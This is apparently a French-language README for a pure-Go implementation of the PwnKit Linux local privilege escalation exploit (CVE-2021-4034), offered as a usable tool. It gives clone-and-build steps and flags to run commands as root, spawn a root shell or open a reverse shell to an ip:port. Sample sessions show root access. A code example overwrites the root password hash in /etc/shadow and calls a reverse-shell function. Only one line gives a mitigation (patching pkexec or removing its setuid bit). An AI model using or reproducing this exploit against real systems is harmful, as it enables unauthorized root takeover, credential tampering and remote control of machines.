
Implémentation en Go de l'exploit d'élévation de privilèges locaux Linux PwnKit (CVE-2021-4034)
Une implémentation pure-Go de l'exploit CVE-2021-4034 PwnKit.
L'exploit utilise syscall.ForkExec pour survivre à la fin du programme principal.
git clone https://github.com/OXDBXKXO/ez-pwnkit.git
cd ez-pwnkit
make
Comme l'exploit repose sur une bibliothèque partagée malveillante, un fichier PWN.so est généré à partir de payload.go et intégré dans l'exécutable exploit résultant.
Le Makefile utilise sed pour changer temporairement le nom du package du fichier payload.go en main, rendant ainsi ce Makefile exclusivement Linux.
Comme le payload Go n'est pas aussi fiable que celui en C, le Makefile compilera l'exploit avec le payload C par défaut. Vous pouvez choisir de compiler avec le payload Go en utilisant make build_go.
$> ./exploit -h
Usage of ./exploit:
-c string
Run command as root in separate process
-o Pipe output of forked command to terminal
-r string
Open a reverse-shell in separate process. Format: ip:port
-s Spawn a root shell
L'exploit peut être utilisé avec une commande (-c), comme reverse-shell (-r) ou pour lancer un shell root (-s).
$> ./exploit -s
sh-5.1#
$> ./exploit -c "cat /etc/passwd"
$> ./exploit -o -c "cat /etc/passwd"
[/etc/passwd content]
package main
import (
"github.com/OXDBXKXO/ez-pwnkit"
)
func main() {
// Change root password to 'password'
ez_pwnkit.Command(`sed -i -e 's,^root:[^:]\+:,root:$6$eymNRCK.KxwDM6vu$idH0swGW1nsnLb8fT1QibUho5xg7uGJT7fuiheLZHIi9M4gTSk0qIOlUIk2Mm9/Nz5C.T4GkgkmLcK5BtOPkS0:,' etc/shadow`, false)
// Open a reverse-shell
ez_pwnkit.RevShell("127.0.0.1:1337")
}
Notez que Command et RevShell utilisent syscall.ForkExec pour exécuter l'exploit, les processus résultants sont séparés du programme principal et survivent à sa fin.
Bien que go-PwnKit puisse être importé dans votre projet depuis Github, n'oubliez pas que vous exécuterez une bibliothèque partagée non fiable en tant que root. L'utilisation d'un PWN.so compilé localement est donc fortement recommandée. C'est juste pour dire 😚
$> ./exploit
sh-5.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-5.1#
Appliquez le correctif à pkexec si possible, sinon désactivez le bit setuid sur le binaire pkexec.
chmod 0755 /usr/bin/pkexec
Ce projet s'inspire de plusieurs autres PoC de l'exploit PwnKit.
Merci à An00bRektn pour la configuration simple de l'exploit.
Merci à PaterGottesman et berdav pour la clarté de l'explication de l'exploit.
Merci à dzonerzy pour l'astuce GIO_USE_VFS.